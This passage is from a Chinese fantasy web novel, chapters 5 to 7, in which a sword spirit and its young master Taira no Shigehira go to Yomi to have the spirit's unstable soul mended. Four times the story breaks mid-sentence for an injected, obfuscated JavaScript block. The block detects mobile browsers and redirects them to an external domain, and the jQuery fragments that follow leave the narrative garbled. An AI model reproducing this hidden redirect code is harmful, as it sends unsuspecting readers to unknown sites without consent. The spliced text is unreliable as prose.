数珠丸恒次握着他往廊下退了退,避开大殿门口可能出来的人,灵力依旧温和地包裹着他:“日莲上人仙逝后,入了皇室藏刀室。”(这个时间不符合现实,是我私设的,数珠丸恒次的确进了皇室)
他顿了顿,补充道,“你既已化灵,便该知晓此地规矩,大殿非随意擅闯之处。”
“可是平...我的少主还在里面。”
想起这个年代上下阶级尊卑格外严重,晚江行久在外人面前还是改了口风。
果然还是新生的刀剑不懂运用灵力。
数珠丸恒次轻轻弹了弹他的刀身,“你连自己的灵力都控制不好,还想进去,屋内有八尺镜,有灵的物一进去就会被照出来。”
“更何况里面源氏和平氏正在争夺乌殿,现在进去就是打扰他们。”
晚江行久刀身突然呆住,我要有新的同僚了吗?
数珠丸恒次见他不动还以为是担心平重衡有了新刀就忘了旧刀,宽慰了他几句,“别担心,我看你主人也并非薄情寡义之辈,更何况这次争夺可不是赏赐,是源氏与平氏的朝堂地位之争。”
晚江行久这才有了自己真的到平安京的既视感,朝堂之争哎!只在电视上看过。
他忽然反应过来什么,刀脊往数珠丸恒次手边蹭了蹭,“那小乌丸选了谁?他要是跟了源赖光,平重衡岂不是输了阵仗?”
数珠丸恒次指尖轻抚过他的刀鞘纹路,目光望向大殿方向,灵力带着一丝了然:“乌殿选了平重衡。”
“真的?!”
晚江行久瞬间精神起来,刀身几乎要从数珠丸手中挣脱,“我就道平重衡靠谱!那源赖光肯定气炸了吧?”
一激动起来就忘了要尊称,还好数珠丸恒次
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978059|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是在意这等虚礼之人。
“源氏虽有不满,却也不好当着上皇的面违逆刀剑心意。”
数珠丸恒次握着他往藏刀室的方向走,廊下的灯笼被风吹得轻轻摇晃,在地面投下斑驳的光影,“不过你家少主怕是要多费些心思了——小乌丸入了平氏,源氏定会在别处寻补回来。”
晚江行久却没在意这些,满脑子都是“平重衡没输”的喜悦,刀身在兴奋地轻颤:“那他什么时候出来?我得赶紧回他身边去,不然他该着急了。”
数珠丸恒次脚步微顿,侧头看了眼这柄急不可耐的新刀,轻笑一声:“急什么。他既得了小乌丸,总要在殿内谢恩辞别,少不了你的位置。”
他抬手将晚江行久往前送了送,“你且在这廊下等着,莫要再乱动。”
晚江行久乖乖悬在廊柱旁,旁边的内侍终于有了插手的机会,连忙供上刀鞘。
晚江行久看着在数珠丸恒次面前毕恭毕敬,大气都不敢出的内侍,心里闪过一丝郁闷。
他在害怕数珠丸,为什么?
殊不知平安京时期妖鬼盛行,刀剑既能斩妖鬼也能斩人,就算在八百万神明中只是末席,终究非人。
正暗自琢磨着,听到后面的脚步声,他下意识探了过去。
平重衡携带着小乌丸走出了大殿,除了面带怒意,看起来毫发无伤。
晚江行久飞过去绕了几圈,用灵识上下扫了一下满意的发现没有任何伤痕。
平重衡显然也没料到他会在这儿,脚步一顿,眼底的愠怒霎时褪去几分,伸手稳稳接住飞来的刀。
指尖触到熟悉的刀鞘时,他紧绷的下颌线柔和了些许:“你怎么在这儿?内侍有好好侍奉你吗?”
晚江行久不太习惯这种别人侍奉他理所应当的感觉,于是随意道:“不能动太憋屈了,就自己飞了飞。”
“这样啊”平重衡轻笑了一下,“是你自己的想法的确不能怪他们侍奉不周。”
他的眼神扫过跪拜在地上瑟瑟发抖的内侍,“先下去吧。”
内侍不敢有一点停留,连头也不敢抬的退了下去。
见到这一幕,晚江行久心头的越不舒服,生活在平等年代的他懵懂的看了眼运筹帷幄之姿的平重衡。
还没等他想明白,身后就传来源赖光冷冽的声音:“重衡君急着走,是怕晚了赶不上庆功宴吗?”
平重衡转身时,脸上已恢复了惯常的从容,将晚江行久和小乌丸一并护在身后:“源赖光大人说笑了,不过是新得佳刃,急于回去好生供奉罢了。”
他从平重衡身后探出头,一眼就看见白发挑染的源赖光,真是他啊。
源赖光没有注意到晚江行久在偷看,也没有想到自己心心念念的好刀已经沦落到世敌的手上,他现在满心满眼都是怼平重衡。
“呵,好一个好生供奉。”源赖光冷笑一声,视线在小乌丸身上打了个转,最终落在平重衡脸上,“但愿平氏日后,担得起这份‘神鸟携来之刃’的分量。”
平重衡没再接话,只微微颔首算是辞别,转身带着两柄刀快步离开。
5. 第 5 章
等平重衡将两振刀带回平氏后,第一时间去面见了平氏家主,就是逼得藤原浩宁死不屈的那个胡茬大汉。
晚江行久被配在腰间,小乌丸则被装进印有五芒星的盒子里面带回来。
那个五芒星晚江行久认的,大阴阳师安倍晴明首创的五芒星印记,对于他玩的游戏来说也叫蓝符。
没想到会在这看到它啊……
“父亲”平重衡行了个礼,“小乌丸被孩儿带回来了,最近提防源氏的动作,他们不会甘心天皇的倚重就这样被我们夺去。”
“倚重吗?哼!也就你这种毛头小子会觉得是倚重了。”
平氏家主抓起案上的酒盏,仰头灌了大半,酒液顺着下巴淌进衣襟,他却毫不在意,随手将空盏往案上一墩:“天皇的心思比狐狸还深,今儿给我们平氏三分好脸色,不过是嫌源氏那伙人挡了他的路。
“关东地区现在认源氏不认天皇,为王者谁能忍的下去。”
父子两人就地方割据谈论了半天,其中的地名晚江行久根本不知道在哪。
繁杂的讲述让他心思跑到了别处,比如,封印小乌丸的蓝符。
他的灵力偷偷跑出来,顺着木盒的缝隙流入。
原本以为会被阻挡,结果进去的分外顺畅。
沉睡在盒子里的小乌丸感应到有灵力试图撬动盒子,把自己的灵力凝聚成长鞭,给了这个不知礼数的小辈一鞭子。
好疼!!
这突如其来的一鞭子比被树枝桶穿还痛。
晚江行久的刀身猛然一颤,连刀鞘都被砍开了一道口子。
平重衡感觉到晚江行久的颤动,拿下来看到刀鞘都裂开了,以为晚江行久出了什么大问题,连忙向平氏家主告退。
“...小乌丸需要我放到藏刀室里吗?”
看着自己最为看重的孩子为了一柄刀剑着急忙慌的,平氏家主也是又好笑又好累的摆了摆手,“自己留着吧,刀剑不用会生锈,更何况身位下一代平氏家主怎么可能身边只有一把刀剑。”
平重衡捧着裂开鞘的晚江行久,脚步匆匆地退出主屋。
“你到底怎么了?”他低声问,指尖抚过裂痕边缘,触感冰凉。
刚走出没几步,封印着小乌丸的蓝符就掉了下来。
随着白光闪过,离平重衡不远处的走廊上出现一位面庞不过十五六岁的少年,但他一开口,平重衡就知道他绝不是人类。
“把子代交给吾吧,刚才给了他一个教训,没想到子代似乎神魂不稳才会这么痛苦,总归是吾造成的原因,就让吾来弥补吧。”
平重衡警惕的握紧了手中的晚江行久,一边恭敬回答一边往后退。
小乌丸朱唇轻启,“有警惕心是好事,可没有分辨能力就是你的不是了。”
这句话一说完,原地就没了小乌丸的踪迹,平重衡摆出迎敌的姿势。
下一秒,红光一闪。
小乌丸单手持本体凝滞在空中,刀身在月光下划出一道冷冽的弧线,刃尖直指平重衡眉心,却在离他寸许处骤然停住。
少年模样的小乌丸悬在半空,丹凤眼半眯着,目光扫过平重衡紧握晚江行久的手:“你倒是护着它。”
平重衡脊背绷得笔直,掌心已被刀柄硌出红痕:“我立下过约定,晚江不能离开我超过三步之外。”
“是个守约的好孩子”小乌丸从空中落下,翻飞的鸢尾花袖袍一挥,平重衡手里的刀就没了。
“什么时候...”平重衡看到空落落的手掌,直接手无寸铁的冲向小乌丸,“还给我!!”
“冷静”小乌丸刀柄一转,刀尖对准自己,将主动权给与平重衡。
“子代没有离开你三步之外,不算违约,修复途中吾若有不轨,你大可拿吾的本体杀了吾。”
平重衡的脚步猛地顿在原地,目光死死盯着小乌丸抵在自己心口的刀尖。
那刀刃泛着冷光,却被少年纤长的手指稳稳按着,连一丝颤抖都没有。
他能闻到刀身传来的、混杂着古木与铁锈的气息,那是属于小乌丸本体的味道,沉郁得像千年未散的雾。
“你若骗我...”他的声音发紧,指节因用力而泛白,却迟迟没有伸手去握那刀柄。
小乌丸忽然低笑一声,丹凤眼弯起时竟带了点少年人该有的狡黠:“吾活了百余年,还犯不着骗一个护着子代的小不点。”
晚江行久在一阵浑浑噩噩中醒来,他能听见平重衡和什么人在说话,身体却一动也不能动。
这种感觉就像最初依附到铁块,糟透了。
也对,毕竟不论是铁块还是刀剑都不是自己原有的身体,作为寄居在物品里的灵魂,能有感知就该知足了。
好想回家啊,祖父。
“咦?”
一直用自己的灵力温养着晚江行久刀身的小乌丸疑惑道:“子代排斥着自己的本体,两者不能融入,这才是他神魂不稳的原因,但刀剑付丧神怎么会排斥自己的本体呢?”
守候在旁边的平重衡同样皱眉,“那现在该怎么办,需要我请阴阳师来看看吗?”
“阴阳师管不了灵体不稳。”小乌丸摇了摇头,“你知道子代是天生有灵还是后天生灵?”
“这……”平重衡犹豫了,他接手晚江行久时对方就已然生灵,可究竟是先天还是后天,对赏物没有兴趣的他看不出来。
驻守在平重衡身边的平家武士想到了什么,“启禀少主,拙者还是浪士时曾在河边处听说先藤原大师从深山处采集到天生有灵的矿物,打算铸成刀剑。”(拙者:武士阶层逐渐兴起后使用,平安后期开始出现,带有自谦意味,来自百度)
“即是这样的话,那我大概明了。”
小乌丸的眼尾的一挑红晕加深,指尖在晚江行久的刀鞘上轻轻叩了叩:“他采的哪是什么天生有灵的矿物,是把哪个神明座前的镇石偷出来了。”
“而且这个神明还不是野神,是在神名账上有正经记录的正神。”
“那石头里封着神明的神力,没有依萍的残魂会被吸引附身在它上,”小乌丸忽然俯身,对着刀身轻声道,“小家伙,你不是排斥本体,是想家了吧?”
刀身倏地发出一阵细碎的嗡鸣,像是被说中了心事的孩童在呜咽。
“这已经不是吾能解决的事了,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978060|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带着子代去鞍马山寺庙里面找今剑或者去太阳神殿里找石切丸。”
“他们都是得正神眷顾的神刀,能够降神,只要正神出手,一切都不是问题。”
说完这些,他看着低头沉思的平重衡道了声歉,“是我把子代的灵体弄得不稳,最后却没办法解决,真的很抱歉。”
小乌丸第一次没有自称吾,用了更平等的我。
“您不必致歉。”他忽然躬身行礼,额发垂落遮住眉眼,“若非您点明症结,晚江恐怕……”
话语不必言明,两人都知道对方意思。
“鞍马山距此有三日路程。”小乌丸抬手理了理鸢尾花袍角,视线扫过廊外沉沉的夜色,“今剑性子跳脱,若见了镇石残灵,未必肯安分帮忙;石切丸虽沉稳,太阳神殿的神官却素来排外。”
他忽然从袖中摸出枚刻有刀纹的小判,边缘已被摩挲得温润,“持此物去鞍马山,提吾之名,那小家伙不敢糊弄你。”
平重衡恭敬收下,连夜召唤家臣疾驰而去。
然而到了鞍马山寺,见到今剑后,平重衡隐约感受到小乌丸的认知可能真的跟人类有差别。
谁管身高九尺的壮形大汉叫小家伙啊!
在鞍马寺庙偏殿里的耳室里,只有一米五八的平重衡对面坐着一米九的大太刀今剑。
平重衡紧张地攥着那枚刻刀纹的小判,指尖烦躁的摩挲温润的金属。
他仰头望着眼前这位“小家伙”——贴身衣只有一只袖子的白拍子。(注:白拍子,为平安时代末期歌舞的一种。)
红色的部分形似袖子的里袖,灰色的和服的下摆束在白色腰带下面,线条流畅的肌肉鼓鼓囊囊的支撑起单薄的衣物。
明明生得肩宽背厚,坐姿却像只收拢翅膀的大鸟,膝盖几乎要顶到矮桌边缘,偏偏嘴角还噙着点孩童般纯真的笑意,与那九尺身高实在对不上号。
“他称呼我为小家伙?正常。”
今剑伸手抓过桌上的点心塞进嘴里,咀嚼时脸颊鼓鼓的,“他上次见我还说‘你这小不点总算长高点了’,合着在他眼里,我们都长不大似的。”
平重衡喉结动了动,把到嘴边的“您看起来确实不像小家伙”咽了回去,将晚江行久轻轻放在桌上:“今剑大人,小乌丸大人说,这刀里的灵体是正神座前的镇石所化,如今因思家而神魂不稳……”
今剑低下头仔细观察晚江行久的刀身,感知着他的气息。
“有一丝黄泉的味道。”
平重衡顿时激动不已,“您知道是哪位正神?”
“不好说。”今剑耸耸肩,拿起一块樱饼抛了抛,“神名账上的正神多了去了,不过和黄泉有关的无非那么几位。”
他戳了戳晚江行久的刀身,“等会你听见耳熟的神明就动一下,听到没?”
神智不清的晚江行久怎么可能回应他,不过被戳到本体,感觉有点痒,以人类看不见的动作动了一下。
人类看不见,今剑又不是人。
于是他以为晚江行久答应了自己,开始报菜名一样报出神明的名字。
“地藏菩萨?阎魔大王?伊邪那美大神?”
6. 第 6 章
前面两个晚江行久毫无反应,直到最后一个名字时发出了一声嗡鸣。
这当然不是处于混沌的晚江行久发出的,是构成这幅身体的镇石本能的反应。
今剑眼睛一亮,拍了下手:“我知道了!是伊邪那美神座前的镇石吧?”
他转头看向平重衡,忽然笑出两颗小虎牙,“不过你别担心,虽说伊邪那美神不好见,但我跟石切丸去过她的神域,认得路。”
平重衡刚松下的心又提了起来:“您要带我们去神域?”
“不然呢?”今剑站起身,九尺身高在狭小的耳室里几乎要顶到横梁,“总不能让孩子一直哭吧?”
他拎起那柄刀,入手竟觉得沉甸甸的,像是握着一块烧红的烙铁,“走了,去正殿请毗沙门天大神为我们打开通往黄泉的路。”
今剑往前走了几步,回头见平重衡还在原地犹豫,以为他顾惜自己的生命,不愿为了区区一把刀下黄泉。
再怎么爱惜刀剑也只是个贵族,而不是真正的武士。
心里纵然有点失望,今剑面上依旧是那副开朗纯真的笑容。
“不想去吗?没事的,我独自一人也可以。”
平重衡回神,见今剑已走到门口,忙抓起刀鞘追上去:“并非不愿!只是……”
他望着廊外被月光染白的石阶,喉结滚动,“传说黄泉之路有去无回,凡人踏入便是万劫不复。”
今剑脚步一顿,忽然弯腰凑近他,九尺身高压得平重衡不得不后仰脖颈。
月光落在今剑眼里,映出点促狭的笑意:“你以为小乌丸为何让你来寻我?”
他抬手敲了敲自己的太阳穴,“鞍马寺的护法魔王尊掌管幽冥通路,有他老人家的信物,还怕回不来?”
说着,他从怀里摸出枚漆黑的令牌,上面刻着狰狞的天狗纹样,边缘泛着幽幽青光。
“这是去年帮寺里赶跑作祟的山妖时,住持给的通行令,直通黄泉边境,比我弟弟的太阳神殿通行证好用多了。”
平重衡看着那令牌,指尖仍有些发凉。
他虽出身武家贵族,却从未想过要踏足传说中的亡者之地。
就在今剑等的不耐烦之际,平重衡终于下定了决心,“我能修书一封交于家臣吗?”
“哦,请便。”
“展信安:
今为救爱刀,身赴黄泉。孩儿深知不孝……”
平重衡写的速度极快,几乎可以说没有思考,他字字珍重的写下这封信,以下黄泉最后一封信的态度来对待。
他吹干墨迹,将信塞入布袋交给了驻守在门外的家臣,又将晚江行久的刀鞘系在腰间,这才转身对今剑颔首:“可以了。”
今剑作为刀剑,也不是不通人性,平重衡身为人类有为刀赴黄泉的决心足够让他心生敬佩,对于写一封信这种小事还是能等得起。
晚江行久遇到了好主人啊……他这样感叹道。
在平重衡将一切料理完后,他牵起平重衡的手就往主殿跑去,按理来说在神殿奔跑是大不敬,会有人会来制止,可身边的僧人像是早已习以为常,自己做自己的事。
看来今剑比我想象的更受神明的喜爱。
平重衡有过将今剑夺回平家参战是否也会受到神明眷顾这样的想法,又顾虑着这样做会遭到其他贵族猜忌,最终还是将想法埋入心底深处。
今剑迈的步子又急又快,平重衡被他拽的踉跄前行,一路上光是跟紧今剑就已经消耗了全部力气,更别说观察周遭的环境。
等他回过神来,站在了一片开满彼岸花的河边。
“这是?”
“三途川。”今剑低头看他,月光照着他柔顺的米白色长发,在河面上碎成点点银辉,“过了河就是黄泉的地界了。”
三途川边有一颗树,树上挂满了衣服,树下全是裸-体的男女老少。
有廉耻心的男女还会试图遮掩自己的身体,可那些还没形成观念的幼童就开始到处跑了。
一个光-裸-着屁股的孩子和身边新认识的好友追闹,一不小心就撞到平重衡的身上。
“抱歉,哥哥。”
那小孩头上被撞了一个包,倒在地上也没啥事,自己爬起来还向平重衡道了个歉。
见到这一幕的平重衡脸上发绿,他颤抖着嗓音询问今剑:“我们也要脱吗?”
今剑一脸轻快的回答,“不是我们,是你。”
平重衡的脸“唰”地白了,手猛地攥紧腰间的刀鞘,指节泛白:“我、我也要?”
他低头看了眼自己身上的贵族常服,料子是母亲亲手织的细绢,领口还绣着家族纹样——让他在这满是陌生魂魄的河边褪去衣物,比让他跳河还难受。
见到平重衡羞耻的快要晕过去,今剑这才改了口,“开玩笑啦,我们是有令牌的,正经进入还有人带路的那种哦。”
这一点都不好笑!平重衡抹了抹差点掉下来的眼泪,吸了吸鼻子。
“豁啦,你看,有人来接我们了。”
远处朦朦胧胧的雾中,一个头发花白的老婆婆一颤一巍的过来,在看到两人之后明显的加快了脚步。
就当平重衡以为那就是接引他们的人时,今剑毫无预兆的拎起他的衣领往后大跳了几下。
这让身为人类的平重衡体验到了飞一般的感觉。
“帅哥啊!帅哥别跑嘿嘿~”
脱衣婆原本还像人类的跑姿在见到今剑他们离得越来越远后变得非人起来。
四肢着地如野兽般狂奔,行动速度突飞猛进。
平重衡被勒的难受,双手使劲扯着衣领试图呼吸新鲜空气,被他打扰到跑路的今剑将他往天上一丢。
“啊?啊!!!!!”
伴随着一声惊叫,从地面已然看不见平重衡的身影。
今剑这才空出一只手,拔出本体将脱衣婆穿了个透心凉。
脱衣婆摸了摸自己被穿透的胸口,毫不在意的舔起来今剑的颜值。
“真是个大帅哥啊嘿嘿~帅哥死了多久啦,老朽在地狱还算是有编制的,养一个你绰绰有余。”
今剑从来没有觉得捅穿一个人的心脏是如此令刃坐立难安,不是因为杀人不好,而是放下刀脱衣婆就会爬到身上来,不放下刀感觉本体脏脏的。
“收敛点,脱衣婆。”
随着汽车鸣笛的声音,一个倒三角眼睛的短发鬼差手持狼牙棒站在胧车的车顶,他脚边还坐着一个瑟瑟发抖的平重衡。
胧车安稳落地,鬼灯拎起狼牙棒和乖若小猫的平重衡从车顶一跃而下。
途中狼牙棒还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978061|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺便砸飞几个想要趁脱衣婆不在偷衣服的鬼。
“哎呀,鬼灯大人,真是的,马上我就要摸到帅哥的腹肌了,你还要来打扰我。”
脱衣婆抱怨几句,主动脱离今剑的本体,那滑腻腻的感觉让今剑浑身都不对劲。
鬼灯将手上的平重衡递给今剑,他随手接过丢给一旁的脱衣婆照看,自己和鬼灯打起了招呼。
“好久不见啊,鬼灯辅佐官,这次过来有一点事,家里的小辈神魂不稳,可能和伊邪那美神有“关系。”
“救我...”
“原来是这样,刚好我要去觐见伊邪那美大人,可以载你们一程。”
“今剑大人、鬼灯大人,救我!不要再脱我衣服了!!”
平重衡的哀嚎太过凄惨,引的鬼灯侧目。
他身上的衣服已经被扒了一半,那双手还紧紧捂住自己剩下的衣服不让动。
俊秀的小脸两眼含泪,被气的涨红。
“对孩子出手可不是好习惯。”鬼灯抬脚就往脱衣婆那边走。
那步伐不快,却带着山雨欲来的压迫感,脱衣婆刚摸到平重衡里衣的手顿时僵住,讪讪地收回手:“哎呀呀,看这孩子细皮嫩肉的,我就是想帮他检查检查衣服上有没有沾到三途川的泥嘛。”
平重衡连忙躲到鬼灯的背后,他这才敢大口喘气,一把拽紧半敞的衣襟,眼泪混着冷汗往下掉,看向鬼灯的眼神里又怕又感激。
今剑憋着笑帮他把歪掉的腰带系好,平重衡敢怒不敢言的吞下了抱怨的话,从小到大除了训练的苦平家少主就没有吃过其他苦,这下算是吃完了。
鬼灯率先做出请的手势。
今剑点了点头拖着还腿软着的平重衡上了胧车。
平重衡这才发现这车看着不大,里面却宽敞得很,铺着暗纹的榻榻米,角落里还摆着个小小的暖炉,倒是比想象中舒适。
刚坐稳,胧车就“嗖”地一下飞了起来,平重衡强装镇定抓住身边的扶手,探头往外看,只见三途川的河水在脚下飞速倒退,那些挂在树上的衣服像褪色的旗帜般掠过,远处隐约能看见奈何桥的影子。
今剑和鬼灯还在聊地狱的近况,顺带说说晚江行久的情况。
“锻刀材料用的是伊邪那美神的镇石……”“那就有点麻烦了……”
平重衡装作不在意的样子,实则将两人之间的谈话刻入脑子,准备回去告诉家里的阴阳师有没有用的上的地方。
胧车很快穿过浓雾,前方出现一片巨大的宫殿群,不过出现的不是平重衡想象中高耸入云的黑色宫殿,也没有漫山遍野盛开的彼岸花。
除了门口的柱子是一个个灵魂组成的,墙壁上的壁画凸起会动之外,看起来没什么特别的。
直到平重衡亲眼看见游荡在宫殿外的鬼差被凸起的壁画吃进嘴里,伴随着令人发麻的咀嚼声出现后,过了一阵,一堆白骨被吐了出来。
更震惊人的还在后头,那堆白骨自己将自己拼成了骷髅,并且还对下车的鬼灯打了声招呼。
“鬼灯大人,这次的游客身份尊贵到连您都惊动了吗?”
他说话了……都没有血肉还能说话?把地狱的狱卒都拐到平家不就有永远不会死亡的军团了!
想到这,平重衡的目光都变得灼灼逼人。
7. 第 7 章
不是带游客参观,这两位有事来找伊邪那美大人。”
鬼灯摊开手掌介绍起两人,“这位是今剑,刀剑付丧神,拥有通行令可直接放行。”
今剑冲骷髅摆了摆手,“喲!”
“这位是平重衡,还没有死亡的生人,注意不要吓到他。”
“初次见面。”
“既然是鬼灯大人的吩咐在下一定会谨记。”
骷髅上下打量了平重衡几眼,颌骨咔哒咔哒动着,发出像是生锈铁门开合的声音。
在他的背后,原本由灵魂组成的柱子自动分开一条通路,露出后面更幽深的宫殿内部。
墙壁上的壁画凸起不再捕食鬼差,反而像活物般扭动着,拼凑出狰狞又华丽的纹路,看得人头晕目眩。
平重衡很明显就被蛊惑,他目光呆滞,手脚无力的向前走去。
今剑在他即将踏入大殿的那一刻拦住了他,晚江行久被横在平重衡的脖子跟前,只差一步晚江行久就可以换下一个主人了。
在性命的威胁下,平重衡及时醒悟,望着与自己相隔不过几厘米的刀刃,喉咙上下吞咽。
“快过来吧,我在这一个人孤寂太久了。”
黝黑的深处飘来女性幽幽的呼唤声。
鬼灯上前几步打断了伊邪那美的蛊惑,“伊邪那美大人”
“何事?”
深宫处传来回应,女性娇弱无骨的声音在鬼灯发声后变得正直无比,声音琳琅清脆,一下子驱散了之前弥蒙的黑暗。
鬼灯抬手示意今剑看好平重衡,自己则迈步走向黑暗:“属下带了两位客人,他们想向您询问晚江行久的魂魄之事。”
“晚江行久……”那声音顿了顿,宫殿里的壁画突然剧烈扭动起来,凸起的纹路里渗出暗红色的液体,顺着墙壁蜿蜒流淌,在地面汇成细小的溪流。
“我知道那个孩子,被卷进时空暗流的可怜人,我身位神明没有办法直接挽救他的命数,只能将他放进镇石之中,等过几百年后又能重新获得身体。”
今剑将晚江行久塞进平重衡的手中,主动上前与伊邪那美交谈,“不管之前如何,现在晚江只是作为刀剑付丧神存在,可是神魂不稳没有办法显灵,甚至连保持意识清醒都不行。”
“呵呵”伊邪那美的笑声从深处传来,带着一丝戏谑,“作为末尾神也想阻止正神给与的安排,真是大胆啊……等等,鬼灯!”
事情很多的辅佐官没时间听伊邪那美在那故弄玄虚,鬼灯直接走进黑暗,点亮了宫殿内的灯笼。
“真是的让我再和孩子们聊会嘛,平常我这里也没人来。”
扎着双马尾的伊邪那美坐在主位上,鼓起脸颊生气道,“明明自己走就可以,现在却呆在这,是害怕那个叫平重衡的孩子被我留下来吗?”
“不,准确来说是害怕晚江行久和平重衡一起被您留下来。”
鬼灯吹灭手上的火折子说道。
“啊啦~鬼灯真了解人家,讨厌~”伊邪那美举起自己的拳头就一通连招捶在鬼灯的胸脯上。
平重衡无措的看着鬼灯被锤的吐了血都没有躲开。
地狱...果然好可怕……
发泄完自己被拆穿的羞耻后,伊邪那美咳嗽两声捡起了自己身位开源神之一的逼格。
“将新生的刀剑付丧神呈上来吧。”
今剑一步步登上阶梯,直到位于伊邪那美一个身位时才停下,他半蹲下来,双手高举着晚江行久过头顶。
伊邪那美没有将晚江行久拿到手上,只是朝他吹了一口气。
那气流脱离伊邪那美的身边就想逃跑,白色雾状气流上下翻涌着,挣扎许久还是敌不过创造生命的母神,死亡和黄泉的女主人,在一声刺耳的悲鸣过后,融入了晚江行久本体之中。
他的刀刃在雾气的融入后变得愈发锋利,隐隐透出流光溢彩的光芒。
在黑暗中沉睡的晚江行久,突然感觉身上一阵轻松,就像是压了很久的大山被搬走,余下的只有轻盈的魂体。
解决完这件事,伊邪那美不耐烦的扇了扇手,催促着他们赶紧走,身上的华绸随着动作上下飞舞,满目的金饰叮叮当当,可以轻易的勾起人心底的欲望。
与高贵华美的服饰相比的是她满面烧伤的脸庞,姣美白皙的脸庞布满痂痕,发黄的脓水从裂开的伤痕处流下,小巧对称的耳朵此时少了一只,脸上的眼睛成为深不见底的骷髅。
可惜在场的人没有一位是心智不坚定之人,就连平重衡,在场唯一的人类都因为一心向着被救治的晚江行久没有受到伊邪那美的惊吓。
见没人中招,伊邪那美顿感无趣。
她百无聊赖的歪坐在白骨制成的王座上,手指漫不经心的拨弄着金饰,“真是群没趣的男人,当年伊邪那岐逃跑时可慌张了,连衣物都没顾及上。”
今剑握着晚江行久的手稳如磐石,刀刃上的流光映着伊邪那美可怖的面容,却没让他眼神有半分动摇。
“多谢大神成全。”
伊邪那美打了个哈欠,厌烦了听今剑的虚言假意,“鬼灯,你送送二位,我要休息了。”
“是。”鬼灯的衣摆随着他的走动晃动着,不一会就看不见他的身影。
“给,要好好使用他啊。”今剑将拿了一路的晚江行久塞给平重衡。
平重衡郑重的将刀接过,指尖接触到他的一瞬间能感觉到冰冷的气息在蔓延,“我会的。”
身为凡人的平重衡还不能长时间接触伊邪那美赐予的力量,查看过晚江行久的刀体没有受损后就收入刀鞘,挂在腰上。
鬼灯的声音从前方传来,不带半分情绪:“走吧,黄泉的时间流速与外界不同,耽搁久了可不是好事。”
今剑颔首,转身时最后看了眼白骨王座上的身影。
伊邪那美已经闭上了仅存的空洞眼窝,金饰碰撞的脆响渐渐低了下去,仿佛真的沉入了休息。
回去的路上一片寂静,无论是鬼灯还是今剑都没有说话,察觉到氛围不对的平重衡也抱紧了怀中的刀。
随着魂体与身体的排斥消退,晚江行久在格外舒适的环境下醒来。
一睁开眼就对上了平重衡那张稚嫩的脸庞——还有在窗外飞着的胧车。
……这给我干哪来了?!
晚江行久感觉自己浑身上下的铁皮疙瘩都要起来了,那胧车一副惨白的鬼面,浓密的鬓发里能看见不知道是什么动物的骸骨在翻涌着。
晚江行久害怕、不解,更担心平重衡是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15978062|177901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被妖怪抓走了,放出灵识在周围环绕一圈。
在距离地面几千米的高空上,大河变成了彩带,人群都是蚂蚁,宏大的宫殿和乐x积木差不多。
倚靠着车厢的今剑感觉到灵识波动睁开了眼睛,看向平重衡怀里的刀,“醒了,你那小主人为你可谓是披荆斩棘,差点还被非礼了。”
闻言,晚江行久震惊的看向平重衡。
平重衡的脸颊“腾”地红透了,手忙脚乱地按住刀柄:“今剑大人!您别乱说那还不是您的错!”
晚江行久的灵识不安地在平重衡手腕上蹭来蹭去,带着明显的焦灼——你才十二岁啊平重衡,这么早交出很容易长不高的!
这边热闹的景象引起了鬼灯的注意,“请不要在胧车上打闹,会晕车的。”
“非常感谢鬼灯大人的关心,我一点都不...额!!”
伴随着翻江倒海的架势,胧车匆匆找了块空地就停车,差点掉进三途川里。
“哟西哟西,好孩子。”
鬼灯轻轻拍了拍正在干呕的胧车,顺带替它捋顺了毛躁的头发。
平重衡扶着旁边的树干,胃里的酸水一个劲往上涌,听见鬼灯这话差点没背过气去——谁会对着胧车说“好孩子”啊!
晚江行久见平重衡就算难受也要盯着鬼灯,以为他羡慕这种温馨的举动,满怀慈爱的他飞起来拍了拍平重衡的背后。
本就处于脆弱时期的平重衡被爱刀这一拍直接拍在地上。
